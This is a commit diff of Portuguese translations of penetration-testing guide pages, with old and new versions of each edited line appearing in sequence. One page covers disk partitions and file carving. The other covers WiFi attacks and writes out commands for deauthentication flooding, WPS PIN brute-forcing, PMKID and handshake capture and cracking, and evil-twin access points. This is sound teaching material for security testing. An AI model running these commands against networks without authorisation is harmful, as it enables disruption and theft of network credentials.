Translated ['src/generic-methodologies-and-resources/basic-forensic-meth

This commit is contained in:
Translator 2025-07-10 12:27:34 +00:00
parent 684a05883b
commit b5e921885d
14 changed files with 314 additions and 232 deletions

View File

@ -5,7 +5,7 @@
## Partições
Um disco rígido ou um **SSD pode conter diferentes partições** com o objetivo de separar dados fisicamente.\
A **unidade mínima** de um disco é o **setor** (normalmente composto por 512B). Portanto, cada tamanho de partição precisa ser múltiplo desse tamanho.
A **unidade mínima** de um disco é o **setor** (normalmente composto por 512B). Assim, cada tamanho de partição precisa ser um múltiplo desse tamanho.
### MBR (master Boot Record)
@ -17,7 +17,7 @@ MBR permite **máx 2.2TB**.
![](<../../../images/image (304).png>)
Dos **bytes 440 a 443** do MBR, você pode encontrar a **Assinatura do Disco do Windows** (se o Windows estiver em uso). A letra da unidade lógica do disco rígido depende da Assinatura do Disco do Windows. Alterar essa assinatura pode impedir o Windows de inicializar (ferramenta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
Dos **bytes 440 a 443** do MBR, você pode encontrar a **Assinatura do Disco do Windows** (se o Windows estiver em uso). A letra da unidade lógica do disco rígido depende da Assinatura do Disco do Windows. Alterar essa assinatura pode impedir que o Windows inicialize (ferramenta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../images/image (310).png>)
@ -39,17 +39,17 @@ Dos **bytes 440 a 443** do MBR, você pode encontrar a **Assinatura do Disco do
| 0 (0x00) | 1 (0x01) | Sinalizador ativo (0x80 = inicializável) |
| 1 (0x01) | 1 (0x01) | Cabeça de início |
| 2 (0x02) | 1 (0x01) | Setor de início (bits 0-5); bits superiores do cilindro (6- 7) |
| 3 (0x03) | 1 (0x01) | Cilindro de início, 8 bits mais baixos |
| 3 (0x03) | 1 (0x01) | Cilindro de início 8 bits mais baixos |
| 4 (0x04) | 1 (0x01) | Código do tipo de partição (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Cabeça de fim |
| 6 (0x06) | 1 (0x01) | Setor de fim (bits 0-5); bits superiores do cilindro (6- 7) |
| 7 (0x07) | 1 (0x01) | Cilindro de fim, 8 bits mais baixos |
| 5 (0x05) | 1 (0x01) | Cabeça final |
| 6 (0x06) | 1 (0x01) | Setor final (bits 0-5); bits superiores do cilindro (6- 7) |
| 7 (0x07) | 1 (0x01) | Cilindro final 8 bits mais baixos |
| 8 (0x08) | 4 (0x04) | Setores precedendo a partição (little endian) |
| 12 (0x0C) | 4 (0x04) | Setores na partição |
Para montar um MBR no Linux, você primeiro precisa obter o deslocamento de início (você pode usar `fdisk` e o comando `p`)
Para montar um MBR no Linux, você primeiro precisa obter o deslocamento inicial (você pode usar `fdisk` e o comando `p`)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
E então use o seguinte código
```bash
@ -60,11 +60,11 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (Endereçamento de bloco lógico)**
**Endereçamento de bloco lógico** (**LBA**) é um esquema comum usado para **especificar a localização de blocos** de dados armazenados em dispositivos de armazenamento de computador, geralmente sistemas de armazenamento secundário, como discos rígidos. LBA é um esquema de endereçamento linear particularmente simples; **os blocos são localizados por um índice inteiro**, com o primeiro bloco sendo LBA 0, o segundo LBA 1, e assim por diante.
**Endereçamento de bloco lógico** (**LBA**) é um esquema comum usado para **especificar a localização de blocos** de dados armazenados em dispositivos de armazenamento de computador, geralmente sistemas de armazenamento secundário, como discos rígidos. O LBA é um esquema de endereçamento linear particularmente simples; **os blocos são localizados por um índice inteiro**, com o primeiro bloco sendo LBA 0, o segundo LBA 1, e assim por diante.
### GPT (Tabela de Partição GUID)
A Tabela de Partição GUID, conhecida como GPT, é favorecida por suas capacidades aprimoradas em comparação ao MBR (Registro de Inicialização Mestre). Distintiva por seu **identificador único global** para partições, a GPT se destaca de várias maneiras:
A Tabela de Partição GUID, conhecida como GPT, é favorecida por suas capacidades aprimoradas em comparação ao MBR (Registro de Inicialização Mestre). Distinta por seu **identificador único global** para partições, a GPT se destaca de várias maneiras:
- **Localização e Tamanho**: Tanto a GPT quanto a MBR começam no **setor 0**. No entanto, a GPT opera em **64 bits**, contrastando com os 32 bits da MBR.
- **Limites de Partição**: A GPT suporta até **128 partições** em sistemas Windows e acomoda até **9,4ZB** de dados.
@ -95,7 +95,7 @@ O cabeçalho da tabela de partição define os blocos utilizáveis no disco. Ele
| Offset | Length | Contents |
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bytes | Assinatura ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ou 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)em máquinas little-endian) |
| 0 (0x00) | 8 bytes | Assinatura ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ou 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)em máquinas little-endian) |
| 8 (0x08) | 4 bytes | Revisão 1.0 (00h 00h 01h 00h) para UEFI 2.8 |
| 12 (0x0C) | 4 bytes | Tamanho do cabeçalho em little endian (em bytes, geralmente 5Ch 00h 00h 00h ou 92 bytes) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) do cabeçalho (offset +0 até o tamanho do cabeçalho) em little endian, com este campo zerado durante o cálculo |
@ -111,7 +111,7 @@ O cabeçalho da tabela de partição define os blocos utilizáveis no disco. Ele
| 88 (0x58) | 4 bytes | CRC32 do array de entradas de partição em little endian |
| 92 (0x5C) | \* | Reservado; deve ser zeros para o restante do bloco (420 bytes para um tamanho de setor de 512 bytes; mas pode ser mais com tamanhos de setor maiores) |
**Entradas de partição (LBA 233)**
**Entradas de Partição (LBA 233)**
| Formato de entrada de partição GUID | | |
| ------------------------------------ | -------- | ------------------------------------------------------------------------------------------------------------- |
@ -151,7 +151,7 @@ Se fosse uma **tabela GPT em vez de um MBR**, deveria aparecer a assinatura _EFI
O sistema de arquivos **FAT (Tabela de Alocação de Arquivos)** é projetado em torno de seu componente central, a tabela de alocação de arquivos, posicionada no início do volume. Este sistema protege os dados mantendo **duas cópias** da tabela, garantindo a integridade dos dados mesmo se uma estiver corrompida. A tabela, juntamente com a pasta raiz, deve estar em uma **localização fixa**, crucial para o processo de inicialização do sistema.
A unidade básica de armazenamento do sistema de arquivos é um **cluster, geralmente 512B**, composto por vários setores. O FAT evoluiu através de versões:
A unidade básica de armazenamento do sistema de arquivos é um **cluster, geralmente 512B**, que compreende vários setores. O FAT evoluiu através de versões:
- **FAT12**, suportando endereços de cluster de 12 bits e lidando com até 4078 clusters (4084 com UNIX).
- **FAT16**, aprimorando para endereços de 16 bits, acomodando assim até 65.517 clusters.
@ -169,7 +169,7 @@ Os componentes principais do diretório raiz, particularmente para FAT12 e FAT16
### EXT
**Ext2** é o sistema de arquivos mais comum para **partições que não fazem journaling** (**partições que não mudam muito**) como a partição de inicialização. **Ext3/4** são **journaling** e são usados geralmente para as **demais partições**.
**Ext2** é o sistema de arquivos mais comum para **partições que não fazem journaling** (**partições que não mudam muito**) como a partição de inicialização. **Ext3/4** são **journaling** e geralmente são usados para as **demais partições**.
## **Metadados**
@ -199,11 +199,11 @@ file-data-carving-recovery-tools.md
### **File Carving**
**File carving** é uma técnica que tenta **encontrar arquivos na massa de dados**. Existem 3 maneiras principais pelas quais ferramentas como essa funcionam: **Baseadas em cabeçalhos e rodapés de tipos de arquivo**, baseadas em **estruturas** de tipos de arquivo e baseadas no **conteúdo** em si.
**File carving** é uma técnica que tenta **encontrar arquivos no volume de dados**. Existem 3 maneiras principais pelas quais ferramentas como essa funcionam: **Baseadas em cabeçalhos e rodapés de tipos de arquivos**, baseadas em **estruturas** de tipos de arquivos e baseadas no **conteúdo** em si.
Observe que essa técnica **não funciona para recuperar arquivos fragmentados**. Se um arquivo **não estiver armazenado em setores contíguos**, então essa técnica não será capaz de encontrá-lo ou pelo menos parte dele.
Existem várias ferramentas que você pode usar para file carving indicando os tipos de arquivo que deseja pesquisar.
Existem várias ferramentas que você pode usar para file carving indicando os tipos de arquivos que deseja pesquisar.
{{#ref}}
file-data-carving-recovery-tools.md
@ -212,7 +212,7 @@ file-data-carving-recovery-tools.md
### Carving de Fluxo de Dados
Carving de Fluxo de Dados é semelhante ao File Carving, mas **em vez de procurar arquivos completos, procura fragmentos interessantes** de informação.\
Por exemplo, em vez de procurar um arquivo completo contendo URLs registradas, essa técnica irá procurar por URLs.
Por exemplo, em vez de procurar um arquivo completo contendo URLs registradas, essa técnica irá buscar por URLs.
{{#ref}}
file-data-carving-recovery-tools.md
@ -220,7 +220,7 @@ file-data-carving-recovery-tools.md
### Exclusão Segura
Obviamente, existem maneiras de **"excluir com segurança" arquivos e parte dos logs sobre eles**. Por exemplo, é possível **sobrescrever o conteúdo** de um arquivo com dados aleatórios várias vezes e, em seguida, **remover** os **logs** do **$MFT** e **$LOGFILE** sobre o arquivo, e **remover as Cópias de Sombra do Volume**.\
Obviamente, existem maneiras de **"excluir" arquivos e parte dos logs sobre eles de forma "segura"**. Por exemplo, é possível **sobrescrever o conteúdo** de um arquivo com dados aleatórios várias vezes e, em seguida, **remover** os **logs** do **$MFT** e **$LOGFILE** sobre o arquivo, e **remover as Cópias de Sombra do Volume**.\
Você pode notar que mesmo realizando essa ação, pode haver **outras partes onde a existência do arquivo ainda está registrada**, e isso é verdade, e parte do trabalho do profissional de forense é encontrá-las.
## Referências

View File

@ -53,18 +53,18 @@ sudo python setup.py install # Install any dependencies
```
### [Wifite2](https://github.com/derv82/wifite2)
Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela fará automaticamente:
Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela irá automaticamente:
- Configurar a interface em modo monitor
- Definir a interface em modo monitor
- Escanear redes possíveis - E permitir que você selecione a(s) vítima(s)
- Se WEP - Lançar ataques WEP
- Se WPA-PSK
- Se WPS: ataque Pixie dust e o ataque de força bruta (cuidado, o ataque de força bruta pode demorar muito). Observe que não tenta PINs nulos ou PINs gerados por banco de dados.
- Se WPS: ataque Pixie dust e o ataque de força bruta (cuidado, o ataque de força bruta pode demorar muito). Note que não tenta PINs nulos ou PINs gerados/banco de dados.
- Tentar capturar o PMKID do AP para quebrá-lo
- Tentar desautenticar clientes do AP para capturar um handshake
- Se PMKID ou Handshake, tentar força bruta usando as 5000 senhas mais comuns.
## Resumo dos Ataques
## Resumo de Ataques
- **DoS**
- Desautenticação/desassociação -- Desconectar todos (ou um ESSID/Cliente específico)
@ -95,7 +95,7 @@ Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela fará automaticament
**Descrição de** [**aqui**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
Ataques de **desautenticação**, um método prevalente em hacking Wi-Fi, envolvem forjar quadros de "gerenciamento" para **desconectar forçosamente dispositivos de uma rede**. Esses pacotes não criptografados enganam os clientes, fazendo-os acreditar que são da rede legítima, permitindo que atacantes coletem handshakes WPA para fins de quebra ou para interromper persistentemente conexões de rede. Essa tática, alarmante em sua simplicidade, é amplamente utilizada e tem implicações significativas para a segurança da rede.
Ataques de **desautenticação**, um método prevalente em hacking Wi-Fi, envolvem forjar quadros de "gerenciamento" para **desconectar forçosamente dispositivos de uma rede**. Esses pacotes não criptografados enganam os clientes, fazendo-os acreditar que são da rede legítima, permitindo que os atacantes coletem handshakes WPA para fins de quebra ou para interromper persistentemente as conexões de rede. Essa tática, alarmante em sua simplicidade, é amplamente utilizada e tem implicações significativas para a segurança da rede.
**Desautenticação usando Aireplay-ng**
```
@ -104,7 +104,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 significa desautenticação
- 1 é o número de desautenticações a serem enviadas (você pode enviar várias se desejar); 0 significa enviá-las continuamente
- -a 00:14:6C:7E:40:80 é o endereço MAC do ponto de acesso
- -c 00:0F:B5:34:30:30 é o endereço MAC do cliente a ser desautenticado; se isso for omitido, então a desautenticação em broadcast é enviada (nem sempre funciona)
- -c 00:0F:B5:34:30:30 é o endereço MAC do cliente a ser desautenticado; se isso for omitido, então a desautenticação de broadcast é enviada (nem sempre funciona)
- ath0 é o nome da interface
### Pacotes de Desassociação
@ -120,7 +120,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
```
### **Mais ataques DOS pelo mdk4**
### **Mais ataques DOS com mdk4**
**Em** [**aqui**](https://en.kali.tools/?p=864)**.**
@ -176,7 +176,7 @@ mkd4 -e <SSID> -c <channel> [-z]
```
**MODO DE ATAQUE f: Fuzzing de Pacotes**
Um fuzzing de pacotes com diversas fontes de pacotes e um conjunto abrangente de modificadores para manipulação de pacotes.
Um fuzzer de pacotes com diversas fontes de pacotes e um conjunto abrangente de modificadores para manipulação de pacotes.
### **Airggedon**
@ -186,7 +186,7 @@ _**Airgeddon**_ oferece a maioria dos ataques propostos nos comentários anterio
## WPS
WPS (Wi-Fi Protected Setup) simplifica o processo de conectar dispositivos a um roteador, aumentando a velocidade e a facilidade de configuração para redes criptografadas com **WPA** ou **WPA2** Pessoal. É ineficaz para a segurança WEP, que é facilmente comprometida. O WPS utiliza um PIN de 8 dígitos, validado em duas metades, tornando-o suscetível a ataques de força bruta devido ao seu número limitado de combinações (11.000 possibilidades).
WPS (Wi-Fi Protected Setup) simplifica o processo de conexão de dispositivos a um roteador, aumentando a velocidade e a facilidade de configuração para redes criptografadas com **WPA** ou **WPA2** Pessoal. É ineficaz para a segurança WEP, que é facilmente comprometida. O WPS utiliza um PIN de 8 dígitos, validado em duas partes, tornando-o suscetível a ataques de força bruta devido ao seu número limitado de combinações (11.000 possibilidades).
### WPS Bruteforce
@ -197,7 +197,7 @@ Existem 2 ferramentas principais para realizar essa ação: Reaver e Bully.
O ataque explora a **vulnerabilidade do PIN WPS**, particularmente sua exposição dos primeiros quatro dígitos e o papel do último dígito como um checksum, facilitando o ataque de força bruta. No entanto, defesas contra ataques de força bruta, como **bloquear endereços MAC** de atacantes agressivos, exigem **rotação de endereços MAC** para continuar o ataque.
Após obter o PIN WPS com ferramentas como Bully ou Reaver, o atacante pode deduzir o WPA/WPA2 PSK, garantindo **acesso persistente à rede**.
Após obter o PIN WPS com ferramentas como Bully ou Reaver, o atacante pode deduzir o PSK WPA/WPA2, garantindo **acesso persistente à rede**.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
@ -224,7 +224,7 @@ Se você não quiser mudar o dispositivo para o modo monitor, ou se `reaver` e `
```
### Ataque de Null Pin
Alguns sistemas mal projetados permitem até um **Null PIN** (um PIN vazio ou inexistente) conceder acesso, o que é bastante incomum. A ferramenta **Reaver** é capaz de testar essa vulnerabilidade, ao contrário do **Bully**.
Alguns sistemas mal projetados permitem até que um **Null PIN** (um PIN vazio ou inexistente) conceda acesso, o que é bastante incomum. A ferramenta **Reaver** é capaz de testar essa vulnerabilidade, ao contrário do **Bully**.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
@ -258,13 +258,13 @@ Em 2018, **hashcat** [revelou](https://hashcat.net/forum/thread-7717.html) um no
Muitos roteadores modernos adicionam um **campo opcional** ao **primeiro quadro EAPOL** durante a associação, conhecido como `Robust Security Network`. Isso inclui o `PMKID`.
Como explica a postagem original, o **PMKID** é criado usando dados conhecidos:
Como explica o post original, o **PMKID** é criado usando dados conhecidos:
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
Dado que o "Nome PMK" é constante, sabemos o BSSID do AP e da estação, e o `PMK` é idêntico ao de um handshake completo de 4 vias, **hashcat** pode usar essas informações para quebrar o PSK e recuperar a senha!
Para **coletar** essas informações e **bruteforçar** localmente a senha, você pode fazer:
Para **coletar** essas informações e **bruteforce** localmente a senha, você pode fazer:
```bash
airmon-ng check kill
airmon-ng start wlan0
@ -283,9 +283,9 @@ hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
Por favor, note que o formato de um hash correto contém **4 partes**, como: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Se o seu **somente** contém **3 partes**, então, é **inválido** (a captura do PMKID não foi válida).
Por favor, note que o formato de um hash correto contém **4 partes**, como: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Se o seu **contiver apenas** **3 partes**, então, é **inválido** (a captura do PMKID não foi válida).
Note que `hcxdumptool` **também captura handshakes** (algo como isso aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Você pode **transformar** os **handshakes** para o formato **hashcat**/**john** usando `cap2hccapx`
Note que `hcxdumptool` **também captura handshakes** (algo como isso aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Você pode **transformar** os **handshakes** para o formato **hashcat**/**john** usando `cap2hccapx`.
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -295,12 +295,12 @@ aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_Eu notei que alguns handshakes capturados com esta ferramenta não puderam ser quebrados mesmo sabendo a senha correta. Eu recomendaria capturar handshakes também de forma tradicional, se possível, ou capturar vários deles usando esta ferramenta._
### Captura de Handshake
### Captura de handshake
Um ataque a redes **WPA/WPA2** pode ser executado capturando um **handshake** e tentando **quebrar** a senha **offline**. Este processo envolve monitorar a comunicação de uma rede específica e **BSSID** em um **canal** particular. Aqui está um guia simplificado:
1. Identifique o **BSSID**, **canal** e um **cliente conectado** da rede alvo.
2. Use `airodump-ng` para monitorar o tráfego da rede no canal e BSSID especificados, na esperança de capturar um handshake. O comando ficará assim:
2. Use `airodump-ng` para monitorar o tráfego da rede no canal e BSSID especificados, esperando capturar um handshake. O comando ficará assim:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
@ -346,7 +346,7 @@ Em **configurações de WiFi empresarial, você encontrará vários métodos de
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
1. **EAP-GTC (Generic Token Card)**:
- Este método suporta tokens de hardware e senhas de uso único dentro do EAP-PEAP. Ao contrário do MSCHAPv2, não utiliza um desafio entre pares e envia senhas em texto claro para o ponto de acesso, apresentando um risco para ataques de downgrade.
- Este método suporta tokens de hardware e senhas de uso único dentro do EAP-PEAP. Ao contrário do MSCHAPv2, não utiliza um desafio de par e envia senhas em texto claro para o ponto de acesso, apresentando um risco para ataques de downgrade.
2. **EAP-MD5 (Message Digest 5)**:
- Envolve o envio do hash MD5 da senha do cliente. **Não é recomendado** devido à vulnerabilidade a ataques de dicionário, falta de autenticação do servidor e incapacidade de gerar chaves WEP específicas para a sessão.
3. **EAP-TLS (Transport Layer Security)**:
@ -371,19 +371,19 @@ Dentro do pacote "**Resposta, Identidade**", o **nome de usuário** do cliente a
### Identidades Anônimas
A ocultação de identidade é suportada tanto pelo EAP-PEAP quanto pelo EAP-TTLS. No contexto de uma rede WiFi, uma solicitação de EAP-Identidade é tipicamente iniciada pelo ponto de acesso (AP) durante o processo de associação. Para garantir a proteção do anonimato do usuário, a resposta do cliente EAP no dispositivo do usuário contém apenas as informações essenciais necessárias para que o servidor RADIUS inicial processe a solicitação. Este conceito é ilustrado através dos seguintes cenários:
A ocultação de identidade é suportada tanto pelo EAP-PEAP quanto pelo EAP-TTLS. No contexto de uma rede WiFi, uma solicitação de EAP-Identidade é tipicamente iniciada pelo ponto de acesso (AP) durante o processo de associação. Para garantir a proteção da anonimidade do usuário, a resposta do cliente EAP no dispositivo do usuário contém apenas as informações essenciais necessárias para que o servidor RADIUS inicial processe a solicitação. Este conceito é ilustrado através dos seguintes cenários:
- EAP-Identidade = anônimo
- Neste cenário, todos os usuários utilizam o pseudônimo "anônimo" como seu identificador de usuário. O servidor RADIUS inicial funciona como um servidor EAP-PEAP ou EAP-TTLS, responsável por gerenciar o lado do servidor do protocolo PEAP ou TTLS. O método de autenticação interno (protegido) é então tratado localmente ou delegado a um servidor RADIUS remoto (doméstico).
- EAP-Identidade = anônimo@realm_x
- Nesta situação, usuários de diferentes domínios ocultam suas identidades enquanto indicam seus respectivos domínios. Isso permite que o servidor RADIUS inicial faça proxy das solicitações EAP-PEAP ou EAP-TTLS para servidores RADIUS em seus domínios domésticos, que atuam como o servidor PEAP ou TTLS. O servidor RADIUS inicial opera apenas como um nó de retransmissão RADIUS.
- Alternativamente, o servidor RADIUS inicial pode funcionar como o servidor EAP-PEAP ou EAP-TTLS e tratar o método de autenticação protegido ou encaminhá-lo para outro servidor. Esta opção facilita a configuração de políticas distintas para vários domínios.
- Nesta situação, usuários de diferentes reinos ocultam suas identidades enquanto indicam seus respectivos reinos. Isso permite que o servidor RADIUS inicial faça proxy das solicitações EAP-PEAP ou EAP-TTLS para servidores RADIUS em seus reinos domésticos, que atuam como o servidor PEAP ou TTLS. O servidor RADIUS inicial opera apenas como um nó de retransmissão RADIUS.
- Alternativamente, o servidor RADIUS inicial pode funcionar como o servidor EAP-PEAP ou EAP-TTLS e tratar o método de autenticação protegido ou encaminhá-lo para outro servidor. Esta opção facilita a configuração de políticas distintas para vários reinos.
No EAP-PEAP, uma vez que o túnel TLS é estabelecido entre o servidor PEAP e o cliente PEAP, o servidor PEAP inicia uma solicitação de EAP-Identidade e a transmite através do túnel TLS. O cliente responde a esta segunda solicitação de EAP-Identidade enviando uma resposta de EAP-Identidade contendo a verdadeira identidade do usuário através do túnel criptografado. Esta abordagem efetivamente impede a revelação da verdadeira identidade do usuário para qualquer um que esteja espionando o tráfego 802.11.
O EAP-TTLS segue um procedimento ligeiramente diferente. Com o EAP-TTLS, o cliente normalmente se autentica usando PAP ou CHAP, protegido pelo túnel TLS. Neste caso, o cliente inclui um atributo User-Name e um atributo Password ou CHAP-Password na mensagem TLS inicial enviada após o estabelecimento do túnel.
Independentemente do protocolo escolhido, o servidor PEAP/TTLS obtém conhecimento da verdadeira identidade do usuário após o túnel TLS ter sido estabelecido. A verdadeira identidade pode ser representada como user@realm ou simplesmente user. Se o servidor PEAP/TTLS também for responsável pela autenticação do usuário, agora possui a identidade do usuário e prossegue com o método de autenticação protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS doméstico do usuário. Esta nova solicitação RADIUS omite a camada de protocolo PEAP ou TTLS. Nos casos em que o método de autenticação protegido é EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS doméstico sem a embalagem EAP-PEAP ou EAP-TTLS. O atributo User-Name da mensagem RADIUS de saída contém a verdadeira identidade do usuário, substituindo o User-Name anônimo da solicitação RADIUS de entrada. Quando o método de autenticação protegido é PAP ou CHAP (suportado apenas pelo TTLS), o User-Name e outros atributos de autenticação extraídos da carga útil TLS são substituídos na mensagem RADIUS de saída, deslocando os atributos User-Name anônimo e TTLS EAP-Message encontrados na solicitação RADIUS de entrada.
Independentemente do protocolo escolhido, o servidor PEAP/TTLS obtém conhecimento da verdadeira identidade do usuário após o túnel TLS ter sido estabelecido. A verdadeira identidade pode ser representada como user@realm ou simplesmente user. Se o servidor PEAP/TTLS também for responsável por autenticar o usuário, agora possui a identidade do usuário e prossegue com o método de autenticação protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS doméstico do usuário. Esta nova solicitação RADIUS omite a camada do protocolo PEAP ou TTLS. Nos casos em que o método de autenticação protegido é EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS doméstico sem a embalagem EAP-PEAP ou EAP-TTLS. O atributo User-Name da mensagem RADIUS de saída contém a verdadeira identidade do usuário, substituindo o User-Name anônimo da solicitação RADIUS de entrada. Quando o método de autenticação protegido é PAP ou CHAP (suportado apenas pelo TTLS), o User-Name e outros atributos de autenticação extraídos da carga útil TLS são substituídos na mensagem RADIUS de saída, deslocando o User-Name anônimo e os atributos EAP-Message TTLS encontrados na solicitação RADIUS de entrada.
Para mais informações, consulte [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
@ -406,7 +406,7 @@ Você também pode realizar este ataque usando `eaphammer`:
### Seleção de Rede e Roaming
- O protocolo 802.11 define como uma estação se junta a um Conjunto de Serviço Estendido (ESS), mas não especifica os critérios para selecionar um ESS ou um ponto de acesso (AP) dentro dele.
- As estações podem fazer roaming entre APs que compartilham o mesmo ESSID, mantendo a conectividade em um edifício ou área.
- As estações podem fazer roaming entre APs que compartilham o mesmo ESSID, mantendo a conectividade em um prédio ou área.
- O protocolo requer autenticação da estação ao ESS, mas não exige autenticação do AP para a estação.
### Listas de Redes Preferidas (PNLs)
@ -414,16 +414,16 @@ Você também pode realizar este ataque usando `eaphammer`:
- As estações armazenam o ESSID de cada rede sem fio à qual se conectam em sua Lista de Redes Preferidas (PNL), juntamente com detalhes de configuração específicos da rede.
- A PNL é usada para conectar automaticamente a redes conhecidas, melhorando a experiência do usuário ao simplificar o processo de conexão.
### Escaneamento Passivo
### Varredura Passiva
- Os APs periodicamente transmitem quadros de beacon, anunciando sua presença e características, incluindo o ESSID do AP, a menos que a transmissão esteja desativada.
- Durante o escaneamento passivo, as estações escutam os quadros de beacon. Se o ESSID de um beacon corresponder a uma entrada na PNL da estação, a estação pode se conectar automaticamente a esse AP.
- Durante a varredura passiva, as estações escutam os quadros de beacon. Se o ESSID de um beacon corresponder a uma entrada na PNL da estação, a estação pode se conectar automaticamente a esse AP.
- O conhecimento da PNL de um dispositivo permite uma possível exploração ao imitar o ESSID de uma rede conhecida, enganando o dispositivo para se conectar a um AP malicioso.
### Probing Ativo
- O probing ativo envolve estações enviando solicitações de probe para descobrir APs próximos e suas características.
- Solicitações de probe direcionadas visam um ESSID específico, ajudando a detectar se uma rede particular está ao alcance, mesmo que seja uma rede oculta.
- Solicitações de probe direcionadas têm como alvo um ESSID específico, ajudando a detectar se uma rede particular está ao alcance, mesmo que seja uma rede oculta.
- Solicitações de probe de broadcast têm um campo SSID nulo e são enviadas a todos os APs próximos, permitindo que a estação verifique qualquer rede preferida sem divulgar o conteúdo de sua PNL.
## AP Simples com redirecionamento para a Internet
@ -497,14 +497,14 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
Um ataque de evil twin explora a maneira como os clientes WiFi reconhecem redes, dependendo principalmente do nome da rede (ESSID) sem exigir que a estação base (ponto de acesso) se autentique ao cliente. Os pontos-chave incluem:
- **Dificuldade em Diferenciação**: Dispositivos têm dificuldade em distinguir entre pontos de acesso legítimos e maliciosos quando compartilham o mesmo ESSID e tipo de criptografia. Redes do mundo real frequentemente usam múltiplos pontos de acesso com o mesmo ESSID para estender a cobertura de forma contínua.
- **Roaming de Cliente e Manipulação de Conexão**: O protocolo 802.11 permite que dispositivos se movam entre pontos de acesso dentro do mesmo ESS. Ataques podem explorar isso atraindo um dispositivo a desconectar de sua estação base atual e conectar-se a uma maliciosa. Isso pode ser alcançado oferecendo um sinal mais forte ou interrompendo a conexão com o ponto de acesso legítimo através de métodos como pacotes de desautenticação ou interferência.
- **Manipulação de Conexão e Roaming do Cliente**: O protocolo 802.11 permite que dispositivos se movam entre pontos de acesso dentro do mesmo ESS. Ataques podem explorar isso atraindo um dispositivo a desconectar de sua estação base atual e conectar-se a uma maliciosa. Isso pode ser alcançado oferecendo um sinal mais forte ou interrompendo a conexão com o ponto de acesso legítimo através de métodos como pacotes de desautenticação ou jamming.
- **Desafios na Execução**: Executar com sucesso um ataque de evil twin em ambientes com múltiplos pontos de acesso bem posicionados pode ser desafiador. Desautenticar um único ponto de acesso legítimo frequentemente resulta no dispositivo se conectando a outro ponto de acesso legítimo, a menos que o atacante consiga desautenticar todos os pontos de acesso próximos ou posicionar estrategicamente o ponto de acesso malicioso.
Você pode criar um Open Evil Twin muito básico (sem capacidades de rotear tráfego para a Internet) fazendo:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
Você também pode criar um Evil Twin usando **eaphammer** (note que para criar evil twins com eaphammer a interface **NÃO DEVE** estar em modo **monitor**):
Você também pode criar um Evil Twin usando **eaphammer** (note que para criar evil twins com eaphammer a interface **NÃO deve estar** em modo **monitor**):
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
@ -512,9 +512,9 @@ Ou usando Airgeddon: `Options: 5,6,7,8,9 (dentro do menu de ataque Evil Twin).`
